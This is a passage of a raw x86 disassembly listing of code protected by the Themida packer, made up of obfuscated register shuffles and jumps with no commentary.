pop edx
sub al, bl
pop ebx
add al, 0A5h
pop ecx
jmp loc_59E222
; ---------------------------------------------------------------------------
loc_5AC65B: ; CODE XREF: Themida_:0059CCF3j
mov eax, 4
jmp loc_5AE348
; ---------------------------------------------------------------------------
loc_5AC665: ; CODE XREF: Themida_:00599F67j
add edx, ebx
jmp loc_5A9F24
; ---------------------------------------------------------------------------
loc_5AC66C: ; CODE XREF: Themida_:loc_5AC2A4j
pop dword ptr [edi+40h]
jmp loc_5A498C
; ---------------------------------------------------------------------------
loc_5AC674: ; CODE XREF: Themida_:005A5C9Bj
; Themida_:005A7EBDj
pop edx
jmp loc_5AEAFD
; ---------------------------------------------------------------------------
loc_5AC67A: ; CODE XREF: Themida_:005996C9j
shl ecx, 2
jz loc_59D8F3
sub ecx, 0D4623DDDh
or ecx, 3326565Ah
jmp loc_5A47D0
; ---------------------------------------------------------------------------
loc_5AC694: ; CODE XREF: Themida_:005A9542j
pop dword ptr [esp]
pop esp
push 3E60h
jmp loc_5A1B8A
; ---------------------------------------------------------------------------
loc_5AC6A2: ; CODE XREF: Themida_:0059DBC4j
add ebx, edx
jmp loc_5AAC09
; ---------------------------------------------------------------------------
loc_5AC6A9: ; CODE XREF: Themida_:00599B45j
; Themida_:0059A278j
xor edi, 66312EFh
push 2191h
mov [esp], eax
mov eax, 414040E5h
neg eax
push ebp
mov ebp, 25B85600h
add ebp, 44096E98h
push ebx
jmp loc_5A030F
; ---------------------------------------------------------------------------
loc_5AC6D0: ; CODE XREF: Themida_:005A715Fj
xor al, 89h
jnp loc_59F1BE
jmp loc_5AE68C
; ---------------------------------------------------------------------------
mov [esp], ebx
jmp loc_59BC2A
; ---------------------------------------------------------------------------
loc_5AC6E5: ; CODE XREF: Themida_:00598E8Bj
push esi
mov esi, 7F014AB4h
sub ebx, esi
jmp loc_5A8B6C
; ---------------------------------------------------------------------------
loc_5AC6F2: ; CODE XREF: Themida_:005ACF9Cj
push esi
mov esi, 20F623E6h
add [esp+4], esi
pop esi
pop ebp
sub ebp, 20F623E6h
pop eax
push ecx
mov ecx, 0DE5FF141h
jmp loc_5AC988
; ---------------------------------------------------------------------------
loc_5AC710: ; CODE XREF: Themida_:005A91C9j
pop ecx
sub ecx, 28C04673h
jz loc_5A41AB
shl ecx, 6
jmp loc_5A9453
; ---------------------------------------------------------------------------
loc_5AC725: ; CODE XREF: Themida_:005A06C6j
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_59F589
; ---------------------------------------------------------------------------
loc_5AC737: ; CODE XREF: Themida_:005986AFj
xor edx, 0A9910682h
push eax
mov eax, 0FD02028h
add eax, 21B67230h
push edx
mov edx, 3ADF663Dh
add edx, 6C751A1Eh
jmp loc_5A55A5
; ---------------------------------------------------------------------------
loc_5AC759: ; CODE XREF: Themida_:005A8B15j
pop esp
jmp loc_5A24B6
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AC767: ; CODE XREF: Themida_:005AA096j
mov ebx, ebp
pop ebp
pop edx
push 41EAh
mov [esp], ecx
mov ecx, 12884444h
jmp loc_59ECA4
; ---------------------------------------------------------------------------
loc_5AC77D: ; CODE XREF: Themida_:005A1E37j
xor ecx, ebx
push ebx
mov ebx, esp
add ebx, 4
jmp loc_59CF8C
; ---------------------------------------------------------------------------
loc_5AC78D: ; CODE XREF: Themida_:005996B9j
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop esi
push 76EFh
mov [esp], esi
mov esi, esp
jmp loc_5AAC5F
; ---------------------------------------------------------------------------
loc_5AC7A9: ; CODE XREF: Themida_:0059E017j
jle loc_598601
xor ch, 2Bh
mov dl, ch
pop ecx
shl dl, 3
sub dl, 0A2h
sub al, dl
pop edx
add al, 87h
add al, 0F0h
add al, dl
sub al, 0F0h
sub al, 87h
add al, 0AEh
jmp loc_5A2D53
; ---------------------------------------------------------------------------
loc_5AC7CF: ; CODE XREF: Themida_:005A1F99j
; Themida_:005A7AC2j
mov [esp], ecx
push esi
jmp loc_59EF7F
; ---------------------------------------------------------------------------
loc_5AC7D8: ; CODE XREF: Themida_:005A9A0Cj
; Themida_:005ADCD3j
mov ecx, 74734377h
xor ecx, ebx
mov ebx, [esp]
add esp, 4
xor edi, ecx
mov ecx, [esp]
add esp, 4
add esi, 25AE10B4h
jmp loc_59CFDE
; ---------------------------------------------------------------------------
loc_5AC7FB: ; CODE XREF: Themida_:0059D473j
jns loc_59F1B9
jmp loc_5A50B4
; ---------------------------------------------------------------------------
jmp loc_59EA4C
; ---------------------------------------------------------------------------
mov [esp], ebx
pop esp
pop dword ptr [edx]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AC816: ; CODE XREF: Themida_:0059BC73j
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
jmp loc_5AA0A4
; ---------------------------------------------------------------------------
loc_5AC82C: ; CODE XREF: Themida_:005A3C31j
xchg edi, [esp]
jmp loc_59AEC2
; ---------------------------------------------------------------------------
loc_5AC834: ; CODE XREF: Themida_:005AAB08j
mov edi, ebp
pop ebp
add ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
xor ebx, [esp]
xor [esp], ebx
jmp loc_5AC493
; ---------------------------------------------------------------------------
loc_5AC84F: ; CODE XREF: Themida_:loc_59C79Cj
push esi
not dword ptr [esp]
pop esi
jmp loc_59DBA3
; ---------------------------------------------------------------------------
loc_5AC859: ; CODE XREF: Themida_:005A205Aj
sub esp, 4
jmp loc_5A4042
; ---------------------------------------------------------------------------
loc_5AC861: ; CODE XREF: Themida_:005AB972j
xor edx, 64A41935h
add edx, 29DB4273h
not edx
xor edx, 0AAB67C80h
push eax
mov eax, 625221D3h
xor eax, 66475951h
add edx, 2CB11D3Bh
jmp loc_5A9B55
; ---------------------------------------------------------------------------
loc_5AC88B: ; CODE XREF: Themida_:005A6D34j
push 8F8h
mov [esp], edx
jmp loc_5ABDBE
; ---------------------------------------------------------------------------
loc_5AC898: ; CODE XREF: Themida_:005AB65Aj
mov dh, 0B5h
push ebx
mov bh, dh
mov cl, bh
pop ebx
push dword ptr [esp]
pop edx
jmp loc_5AEA63
; ---------------------------------------------------------------------------
loc_5AC8A9: ; CODE XREF: Themida_:0059CFC9j
sub al, bh
pop bx
push small 6A86h
mov [esp], bx
mov bh, 0D1h
jmp loc_59F4A0
; ---------------------------------------------------------------------------
loc_5AC8BC: ; CODE XREF: Themida_:005AD998j
or eax, 79276846h
jb loc_5A4EE9
jmp loc_5A8EB4
; ---------------------------------------------------------------------------
loc_5AC8CC: ; CODE XREF: Themida_:005A3B28j
push 0B0Ch
mov [esp], edx
push ebp
push 55DA1FEEh
jmp loc_59DEE9
; ---------------------------------------------------------------------------
loc_5AC8DF: ; CODE XREF: Themida_:005AC06Fj
sub ebx, 7907738Ch
jmp loc_5AABE8
; ---------------------------------------------------------------------------
loc_5AC8EA: ; CODE XREF: Themida_:005A3122j
push ebx
push edx
mov dh, 3
jmp loc_5A402F
; ---------------------------------------------------------------------------
loc_5AC8F3: ; CODE XREF: Themida_:005A1410j
jnz loc_59B160
sub al, 0E0h
sub bl, al
pop ax
push dword ptr [esp]
mov esi, esi
loc_5AC904: ; CODE XREF: Themida_:005A9466j
sub ebx, edx
pop edx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], edx
push esi
push 5AF02E9h
pop esi
sub esi, 0D420DF8Fh
jmp loc_5A6C89
; ---------------------------------------------------------------------------
loc_5AC926: ; CODE XREF: Themida_:005A1994j
push esp
pop ebx
push esi
mov esi, 4
add ebx, esi
jmp loc_5A269A
; ---------------------------------------------------------------------------
loc_5AC935: ; CODE XREF: Themida_:005A4846j
mov ecx, 4
sub esi, 70DF078Ch
jmp loc_59EE2C
; ---------------------------------------------------------------------------
loc_5AC945: ; CODE XREF: Themida_:0059BE2Bj
jmp loc_5AA941
; ---------------------------------------------------------------------------
loc_5AC94A: ; CODE XREF: Themida_:loc_5A0256j
; Themida_:005AEFC3j
mov [esp], edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_5A138F
; ---------------------------------------------------------------------------
loc_5AC961: ; CODE XREF: Themida_:0059D986j
; Themida_:0059FC09j
push ecx
mov ecx, 7DDE7365h
jmp loc_5A5F18
; ---------------------------------------------------------------------------
loc_5AC96C: ; CODE XREF: Themida_:0059CA11j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AC971: ; CODE XREF: Themida_:0059FB7Ej
mov ecx, eax
pop eax
add ecx, 59C94DA2h
add ecx, eax
push ebx
mov ebx, 59C94DA2h
push ebx
jmp loc_5A6EF7
; ---------------------------------------------------------------------------
loc_5AC988: ; CODE XREF: Themida_:005AC70Bj
add ebp, 24736628h
add ebp, ecx
sub ebp, 24736628h
pop ecx
or ecx, ebp
pop ebp
xor ecx, 1F5B7FFFh
and eax, ecx
push dword ptr [esp]
jmp loc_5AF36A
; ---------------------------------------------------------------------------
loc_5AC9AA: ; CODE XREF: Themida_:0059DA69j
mov [esp], eax
push edx
mov edx, 338456C6h
mov eax, 393C21D9h
xor eax, 23545F61h
neg eax
jmp loc_59BE30
; ---------------------------------------------------------------------------
loc_5AC9C4: ; CODE XREF: Themida_:005AF514j
dec ebx
push esi
mov esi, 77F73141h
add ebx, esi
pop esi
jmp loc_59D871
; ---------------------------------------------------------------------------
loc_5AC9D3: ; CODE XREF: Themida_:005A01B5j
push 519869EDh
mov ebp, [esp]
add esp, 4
sub dword ptr [esp+8], 51512EABh
add [esp+8], ebp
add dword ptr [esp+8], 51512EABh
pop ebp
pop ebp
push dword ptr [esp]
jmp loc_59902D
; ---------------------------------------------------------------------------
loc_5AC9FC: ; CODE XREF: Themida_:005A762Aj
mov ebx, esp
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
jmp loc_5AD62D
; ---------------------------------------------------------------------------
loc_5ACA14: ; CODE XREF: Themida_:005A943Ej
mov eax, 0A9E6855h
jmp loc_5AA00E
; ---------------------------------------------------------------------------
loc_5ACA1E: ; CODE XREF: Themida_:005ABD93j
sub ebx, 1A3F044Bh
pop esi
jmp loc_5A072D
; ---------------------------------------------------------------------------
loc_5ACA2A: ; CODE XREF: Themida_:005A2321j
or eax, 55177639h
xor eax, 233B7C52h
jmp loc_599D72
; ---------------------------------------------------------------------------
loc_5ACA39: ; CODE XREF: Themida_:005AC059j
xor ebx, 7E11CD27h
sub eax, ebx
mov ebx, [esp]
add esp, 4
add eax, edx
push ebp
mov ebp, 8AB234Ch
neg ebp
push eax
mov eax, 1437F44h
shl eax, 1
sub eax, 273A6CB6h
xor ebp, eax
pop eax
add eax, ebp
pop ebp
pop edx
push esi
jmp loc_59A404
; ---------------------------------------------------------------------------
loc_5ACA6B: ; CODE XREF: Themida_:005ADC31j
add edi, 4
sub esp, 4
mov [esp], ecx
mov ecx, esp
add ecx, 4
push edx
mov edx, 4
sub ecx, edx
pop edx
jmp loc_598C0E
; ---------------------------------------------------------------------------
loc_5ACA90: ; CODE XREF: Themida_:0059E51Aj
push 7168h
mov [esp], ecx
jmp loc_5AC1F3
; ---------------------------------------------------------------------------
loc_5ACA9D: ; CODE XREF: Themida_:005A021Aj
add esp, 4
push eax
mov eax, 4
add esi, 78411C12h
add esi, eax
sub esi, 78411C12h
jmp loc_5AD645
; ---------------------------------------------------------------------------
loc_5ACABC: ; CODE XREF: Themida_:loc_59FBB2j
xor ah, 6Eh
jnp loc_5A07C5
add ah, 10h
push edx
mov dl, ah
jmp loc_59CD78
; ---------------------------------------------------------------------------
loc_5ACAD0: ; CODE XREF: Themida_:005A0D5Fj
mov ebx, esi
jmp loc_5A108C
; ---------------------------------------------------------------------------
loc_5ACAD7: ; CODE XREF: Themida_:0059FB0Ej
pop ebp
xor eax, edx
pop edx
push eax
jmp loc_59FC24
; ---------------------------------------------------------------------------
loc_5ACAE1: ; CODE XREF: Themida_:005AE56Dj
push dword ptr [esp]
pop ecx
add esp, 4
shr eax, 8
jmp loc_5A97B0
; ---------------------------------------------------------------------------
loc_5ACAF3: ; CODE XREF: Themida_:005A35D2j
mov ebx, 0F864046h
sub ebx, 0F3831454h
mov esi, ebx
mov ebx, [esp]
add esp, 4
mov ebx, 148A3E85h
add ebx, esi
mov esi, [esp]
add esp, 4
push ebp
mov ebp, 5FC661BEh
push esi
mov esi, 0A482186h
jmp loc_5A2277
; ---------------------------------------------------------------------------
loc_5ACB24: ; CODE XREF: Themida_:005AF3C6j
push ecx
mov cl, 5Bh
mov al, cl
jmp loc_59F8F1
; ---------------------------------------------------------------------------
loc_5ACB2E: ; CODE XREF: Themida_:0059DB47j
sub ecx, edi
pop edi
xor ecx, 2D01EBEh
add ecx, 18B83EFBh
xor ecx, 11B19EAh
push ecx
push eax
mov eax, 52C23160h
sub [esp+4], eax
pop eax
pop esi
add esi, 52C23160h
pop ecx
add [esp+4], esi
pop esi
jmp loc_5ABE00
; ---------------------------------------------------------------------------
loc_5ACB61: ; CODE XREF: Themida_:005A753Aj
mov edx, 6FAD3EFCh
shl edx, 6
jmp loc_59D97A
; ---------------------------------------------------------------------------
loc_5ACB6E: ; CODE XREF: Themida_:005ACE50j
push ebx
push 738D4AA8h
mov ebx, [esp]
jmp loc_59F34D
; ---------------------------------------------------------------------------
loc_5ACB7C: ; CODE XREF: Themida_:005AE0D3j
pop ebp
push ebp
push edx
jmp loc_59A837
; ---------------------------------------------------------------------------
loc_5ACB84: ; CODE XREF: Themida_:005ABD8Cj
push esp
mov ebx, [esp]
push edi
mov edi, esp
push ebx
mov ebx, 4E8F341Ah
or ebx, 72C81B47h
neg ebx
shr ebx, 5
neg ebx
and ebx, 419A39FAh
add ebx, 0BE6DC60Ah
add edi, ebx
pop ebx
add edi, 4
jmp loc_5AF127
; ---------------------------------------------------------------------------
loc_5ACBB8: ; CODE XREF: Themida_:00599FFCj
; Themida_:005A9B7Ej
pop edx
jmp loc_5A390A
; ---------------------------------------------------------------------------
loc_5ACBBE: ; CODE XREF: Themida_:005A796Bj
add esp, 4
add ecx, 1
xor ecx, 0CF4399D8h
mov edx, ecx
pop ecx
jmp loc_5A9C6D
; ---------------------------------------------------------------------------
loc_5ACBD5: ; CODE XREF: Themida_:0059A605j
mov [esp], ecx
jmp loc_5A6946
; ---------------------------------------------------------------------------
loc_5ACBDD: ; CODE XREF: Themida_:005AE64Ej
push esi
push ebp
mov ebp, 45712B54h
jmp loc_5AF22A
; ---------------------------------------------------------------------------
loc_5ACBE9: ; CODE XREF: Themida_:005A1F25j
sub esp, 4
mov [esp], esi
mov esi, 50A66456h
jmp loc_59D040
; ---------------------------------------------------------------------------
loc_5ACBFC: ; CODE XREF: Themida_:005A54EBj
add ebp, 4
sub ebp, 4
jmp loc_5A01BA
; ---------------------------------------------------------------------------
loc_5ACC0D: ; CODE XREF: Themida_:005A7EEFj
pop ebx
or ebx, 5DC9690Ah
jmp loc_5A23A1
; ---------------------------------------------------------------------------
loc_5ACC19: ; CODE XREF: Themida_:0059DA52j
not esi
xchg esi, ebp
jmp loc_5ADD37
; ---------------------------------------------------------------------------
loc_5ACC22: ; CODE XREF: Themida_:005A0180j
pop esp
mov [esp], edx
push 751A7FA5h
push dword ptr [esp]
pop edx
add esp, 4
dec edx
js loc_5A22DC
shl edx, 1
jnz loc_5ADF52
xor edx, 8B21CDFFh
push ebp
mov ebp, edx
push esi
mov esi, ebp
mov eax, esi
loc_5ACC52: ; CODE XREF: Themida_:005A0457j
mov [esp], edi
push esp
jmp loc_599725
; ---------------------------------------------------------------------------
loc_5ACC5B: ; CODE XREF: Themida_:005A2A92j
add al, dl
push cx
mov cl, 8Eh
sub al, cl
mov cx, [esp]
add esp, 2
jmp loc_59AB7B
; ---------------------------------------------------------------------------
loc_5ACC6F: ; CODE XREF: Themida_:0059BF9Ej
mov esi, [esp]
push eax
jmp loc_5A6A86
; ---------------------------------------------------------------------------
loc_5ACC78: ; CODE XREF: Themida_:005A1F36j
push esp
pop ebx
push edx
push eax
mov eax, 3CA95C35h
mov edx, 3CA95C39h
sub edx, eax
pop eax
add ebx, edx
mov edx, [esp]
add esp, 4
add ebx, 4
jmp loc_5A545E
; ---------------------------------------------------------------------------
loc_5ACC99: ; CODE XREF: Themida_:0059B89Bj
push ecx
push dword ptr [esp+4]
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5A86CE
; ---------------------------------------------------------------------------
loc_5ACCB9: ; CODE XREF: Themida_:0059BFA9j
pop esi
mov esi, [esp]
add esp, 4
push eax
jmp loc_59DD61
; ---------------------------------------------------------------------------
loc_5ACCC9: ; CODE XREF: Themida_:005A5F35j
add eax, 6B9E7975h
add eax, edi
jmp loc_5AC5EF
; ---------------------------------------------------------------------------
loc_5ACCD5: ; CODE XREF: Themida_:005A6613j
pop eax
shl eax, 1
and eax, 0C9B6F89h
xor eax, 2B7472A7h
neg eax
xor eax, 0D18EC8A2h
sub esi, eax
jmp loc_59ED5A
; ---------------------------------------------------------------------------
loc_5ACCF0: ; CODE XREF: Themida_:0059A7A6j
mov edx, 52A00D56h
jmp loc_5AAEBA
; ---------------------------------------------------------------------------
loc_5ACCFA: ; CODE XREF: Themida_:005AA0BCj
; Themida_:005AB5CBj
inc al
jo loc_598A4D
or al, 0A2h
jp loc_598C19
jmp loc_5A7870
; ---------------------------------------------------------------------------
neg ecx
mov bh, bl
mov dl, bl
loc_5ACD15: ; CODE XREF: Themida_:00599346j
jmp loc_59F000
; ---------------------------------------------------------------------------
loc_5ACD1A: ; CODE XREF: Themida_:005AD622j
mov [esp], ebx
push eax
mov eax, 0EC52962h
jmp loc_5A15C9
; ---------------------------------------------------------------------------
loc_5ACD28: ; CODE XREF: Themida_:005A1DA9j
add ch, ah
mov eax, [esp]
add esp, 4
push eax
mov ah, ch
mov dh, ah
pop eax
mov ecx, [esp]
jmp loc_5AAA59
; ---------------------------------------------------------------------------
loc_5ACD3E: ; CODE XREF: Themida_:005A3DBBj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ACD43: ; CODE XREF: Themida_:005A5709j
sub esp, 4
mov [esp], edi
push 1FB43B8Bh
pop edi
jmp loc_5A7BE6
; ---------------------------------------------------------------------------
loc_5ACD54: ; CODE XREF: Themida_:005A839Fj
sub edi, 2B745770h
add edi, edx
add edi, 2B745770h
pop edx
pop ecx
push 1E0h
mov [esp], edx
mov edx, 2
sub edi, edx
jmp loc_59A909
; ---------------------------------------------------------------------------
loc_5ACD78: ; CODE XREF: Themida_:00598EB5j
sub esp, 4
mov [esp], esi
mov esi, 744A46h
push 21E0h
mov [esp], edx
jmp loc_5A9C0D
; ---------------------------------------------------------------------------
loc_5ACD90: ; CODE XREF: Themida_:005A4E4Aj
push ecx
mov ecx, 26CE4CC1h
push edi
jmp loc_5AE1F6
; ---------------------------------------------------------------------------
loc_5ACD9C: ; CODE XREF: Themida_:005A8DBEj
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
add esp, 4
sub esp, 4
mov [esp], ebp
push 6D3370Ah
pop ebp
add eax, 78D41D60h
sub eax, 77BA6F41h
jmp loc_59ECE8
; ---------------------------------------------------------------------------
loc_5ACDC7: ; CODE XREF: Themida_:0059857Fj
mov ebp, 2E1B7E3Eh
xor edx, ebp
pop ebp
dec edx
jg loc_5A6FF8
xor edx, 7BCA0505h
jnz loc_59DFD0
xor edx, 0F2336367h
mov ebx, edx
mov edx, [esp]
add esp, 4
loc_5ACDF0: ; CODE XREF: Themida_:005AE322j
not ebp
sub ebp, 2E6165BCh
sub ebp, 6F27824Dh
add ecx, 3CE058C1h
jmp loc_5AB6D3
; ---------------------------------------------------------------------------
loc_5ACE09: ; CODE XREF: Themida_:loc_5A7510j
jmp loc_59940C
; ---------------------------------------------------------------------------
loc_5ACE0E: ; CODE XREF: Themida_:005989AFj
; Themida_:005AE86Dj
mov [esp], edx
mov dl, 51h
add dl, 7Fh
mov ah, 75h
add ah, dl
pop edx
jmp loc_59E17E
; ---------------------------------------------------------------------------
loc_5ACE20: ; CODE XREF: Themida_:005A6D90j
xchg ebp, [esp]
jmp loc_5A0DDF
; ---------------------------------------------------------------------------
loc_5ACE28: ; CODE XREF: Themida_:00599216j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
sub eax, 28FB0F46h
add eax, 17882C61h
sub eax, ecx
sub eax, 17882C61h
add eax, 28FB0F46h
pop ecx
jmp loc_5ACB6E
; ---------------------------------------------------------------------------
loc_5ACE55: ; CODE XREF: Themida_:005A32CBj
push edi
mov edi, esp
jmp loc_5A1EC4
; ---------------------------------------------------------------------------
loc_5ACE5D: ; CODE XREF: Themida_:005AE157j
mov ebp, 459C04ECh
or ebp, 15A101D4h
shr ebp, 3
jmp loc_5A318E
; ---------------------------------------------------------------------------
loc_5ACE70: ; CODE XREF: Themida_:0059BD17j
add ebp, 2
xchg ebp, [esp]
pop esp
jmp loc_5A9F72
; ---------------------------------------------------------------------------
loc_5ACE7C: ; CODE XREF: Themida_:005A9F6Dj
add edx, 4
jmp loc_5AC5A1
; ---------------------------------------------------------------------------
loc_5ACE87: ; CODE XREF: Themida_:005A2B41j
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
jmp loc_5A9C79
; ---------------------------------------------------------------------------
loc_5ACE99: ; CODE XREF: Themida_:00598469j
push 496h
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
mov edx, [esp]
add esp, 4
push 518Dh
mov [esp], edi
jmp loc_59DE47
; ---------------------------------------------------------------------------
loc_5ACEC2: ; CODE XREF: Themida_:005A19A4j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5ACEC7: ; CODE XREF: Themida_:005A14BCj
add esi, 4
sub esi, 4
jmp loc_5A4A7C
; ---------------------------------------------------------------------------
loc_5ACED5: ; CODE XREF: Themida_:00598A71j
sub edx, ecx
pop ecx
add edx, ebp
push ecx
jmp loc_5AEC28
; ---------------------------------------------------------------------------
loc_5ACEE0: ; CODE XREF: Themida_:0059E794j
sub esp, 4
mov [esp], ebx
mov ebx, 4
add edx, ebx
jmp loc_5A868B
; ---------------------------------------------------------------------------
loc_5ACEF5: ; CODE XREF: Themida_:005A0FD0j
push edx
mov edx, 4
push esi
mov esi, 29471047h
sub ecx, esi
jmp loc_59E878
; ---------------------------------------------------------------------------
loc_5ACF08: ; CODE XREF: Themida_:005A73AFj
mov edi, 348D12F3h
xor edx, edi
mov edi, [esp]
push ebp
jmp loc_5A5187
; ---------------------------------------------------------------------------
loc_5ACF18: ; CODE XREF: Themida_:005A2C14j
add esp, 4
push ecx
mov ecx, esi
mov eax, ecx
pop ecx
pop esi
add edi, eax
mov eax, [esp]
add esp, 4
sub edi, 4
jmp loc_5AC117
; ---------------------------------------------------------------------------
loc_5ACF35: ; CODE XREF: Themida_:0059E0F6j
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
sub esp, 4
mov [esp], esi
jmp loc_5A342D
; ---------------------------------------------------------------------------
loc_5ACF4F: ; CODE XREF: Themida_:00598A48j
mov eax, [esp]
push edi
mov edi, esp
jmp loc_599967
; ---------------------------------------------------------------------------
loc_5ACF5A: ; CODE XREF: Themida_:005A62A7j
push esi
push 164207Dh
mov esi, [esp]
add esp, 4
dec esi
jle loc_5A28C4
xchg eax, esi
jmp loc_59CB39
; ---------------------------------------------------------------------------
loc_5ACF73: ; CODE XREF: Themida_:005AA0F3j
pop ecx
xor ebx, eax
mov dx, [esp]
push ecx
jmp loc_5AE31A
; ---------------------------------------------------------------------------
loc_5ACF80: ; CODE XREF: Themida_:005A81E2j
mov edi, ecx
pop ecx
jmp loc_59F114
; ---------------------------------------------------------------------------
loc_5ACF88: ; CODE XREF: Themida_:005A1646j
dec ebx
jnz loc_5A0A8C
sub ebx, 0A845715h
push ebx
jmp loc_5AC2AF
; ---------------------------------------------------------------------------
loc_5ACF9B: ; CODE XREF: Themida_:0059C52Dj
; Themida_:005A9B9Bj
push eax
jmp loc_5AC6F2
; ---------------------------------------------------------------------------
loc_5ACFA1: ; CODE XREF: Themida_:0059C748j
push ebp
push 4421h
mov [esp], esi
mov esi, 6D020B2Dh
and esi, 7CB1D97h
jmp loc_5AC1C2
; ---------------------------------------------------------------------------
loc_5ACFBA: ; CODE XREF: Themida_:005A6800j
add esp, 4
add ebx, edi
push 7418h
mov [esp], edx
push 7C67h
mov [esp], ecx
mov ecx, 0
jmp loc_5AA3B9
; ---------------------------------------------------------------------------
loc_5ACFD9: ; CODE XREF: Themida_:005A143Bj
; Themida_:005ADD01j
add [esp+4], eax
mov eax, [esp]
add esp, 4
jmp loc_5AD1E0
; ---------------------------------------------------------------------------
loc_5ACFEB: ; CODE XREF: Themida_:005A56A3j
mov [esp], ebp
mov ebp, esp
jmp loc_5A4F41
; ---------------------------------------------------------------------------
loc_5ACFF5: ; CODE XREF: Themida_:00598628j
sub esp, 4
jmp loc_59BCFB
; ---------------------------------------------------------------------------
loc_5ACFFD: ; CODE XREF: Themida_:005A2BA8j
; Themida_:005AAFE7j
sub bl, dl
add bl, 41h
jmp loc_59A794
; ---------------------------------------------------------------------------
loc_5AD007: ; CODE XREF: Themida_:005A92E9j
push edx
mov edx, 7C362328h
xor eax, edx
mov edx, [esp]
add esp, 4
jmp loc_5AA8EF
; ---------------------------------------------------------------------------
loc_5AD01D: ; CODE XREF: Themida_:0059C7DFj
mov ebp, ebx
pop ebx
add edx, ebp
mov ebp, [esp]
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_5A706F
; ---------------------------------------------------------------------------
loc_5AD039: ; CODE XREF: Themida_:0059AC04j
mov [esp], edi
mov edi, 6C6245D7h
jmp loc_5A8A0D
; ---------------------------------------------------------------------------
loc_5AD046: ; CODE XREF: Themida_:005A0124j
sub esi, 76D50DABh
jmp loc_5A76E3
; ---------------------------------------------------------------------------
loc_5AD051: ; CODE XREF: Themida_:005A7A1Ej
mov ebx, 4
jmp loc_5A461C
; ---------------------------------------------------------------------------
loc_5AD05B: ; CODE XREF: Themida_:005A9E2Bj
sub dword ptr [esp], 49F00616h
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59CF10
; ---------------------------------------------------------------------------
loc_5AD07A: ; CODE XREF: Themida_:005AB541j
add ebx, 58FF11C1h
jmp loc_5A877B
; ---------------------------------------------------------------------------
loc_5AD085: ; CODE XREF: Themida_:0059EEF0j
pop ecx
xchg eax, [esp]
pop esp
jmp loc_5AC5E6
; ---------------------------------------------------------------------------
loc_5AD08F: ; CODE XREF: Themida_:0059FFE6j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5AD094: ; CODE XREF: Themida_:loc_5995F3j
shr ecx, 6
jnp loc_59A66B
xor ecx, 2DE2309Bh
push edi
mov edi, 792EA419h
xor ecx, edi
pop edi
jmp loc_5ADB64
; ---------------------------------------------------------------------------
loc_5AD0B1: ; CODE XREF: Themida_:005A9849j
push dword ptr [esp]
mov ebp, [esp]
jmp loc_5AB1CF
; ---------------------------------------------------------------------------
loc_5AD0BC: ; CODE XREF: Themida_:005A8B1Fj
push esi
push ecx
mov ecx, 150B683Dh
jmp loc_59D59A
; ---------------------------------------------------------------------------
loc_5AD0C8: ; CODE XREF: Themida_:005AE966j
mov bl, 5
push 5B84h
mov [esp], eax
mov ah, 8Ch
shl ah, 8
add ah, 0FFh
sub esp, 2
mov [esp], cx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5AD50A
; ---------------------------------------------------------------------------
loc_5AD0F2: ; CODE XREF: Themida_:005AA93Cj
add esp, 4
jmp loc_59D818
; ---------------------------------------------------------------------------
loc_5AD0FD: ; CODE XREF: Themida_:00599D28j
mov ecx, eax
pop eax
add esi, ecx
mov ecx, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, 71B7A78h
sub ebx, 6D25F6Dh
push eax
mov eax, 14566483h
neg eax
or eax, 7A9D31BFh
and eax, 637E6832h
push edx
mov edx, 67F037EDh
xor eax, edx
pop edx
add ebx, 3F07603Ch
sub ebx, eax
sub ebx, 3F07603Ch
mov eax, [esp]
jmp loc_5AF50E
; ---------------------------------------------------------------------------
loc_5AD15F: ; CODE XREF: Themida_:loc_59D88Ej
mov cx, [esp]
push 48C1h
jmp loc_5A981C
; ---------------------------------------------------------------------------
loc_5AD16D: ; CODE XREF: Themida_:005A25CAj
push 124Eh
jmp loc_59A712
; ---------------------------------------------------------------------------
loc_5AD177: ; CODE XREF: Themida_:0059B7C6j
mov cl, bh
pop ebx
push ebx
push eax
mov ah, 0A7h
push ecx
mov ch, ah
mov bh, ch
jmp loc_5A5318
; ---------------------------------------------------------------------------
loc_5AD188: ; CODE XREF: Themida_:0059E8BCj
add dword ptr [esp+4], 27D561EEh
sub dword ptr [esp+4], 449223F4h
add [esp+4], ebp
add dword ptr [esp+4], 449223F4h
sub dword ptr [esp+4], 27D561EEh
push ebx
sub esp, 4
jmp loc_5A1FAD
; ---------------------------------------------------------------------------
loc_5AD1B5: ; CODE XREF: Themida_:005A0CECj
mov edi, [esp]
add esp, 4
push ebx
jmp loc_5A3AA2
; ---------------------------------------------------------------------------
lodsd
push ebx
mov ebx, esp
push 2914h
mov [esp], ecx
mov ecx, 4
add ebx, ecx
pop ecx
push ecx
mov ecx, 4
jmp loc_5AC4F2
; ---------------------------------------------------------------------------
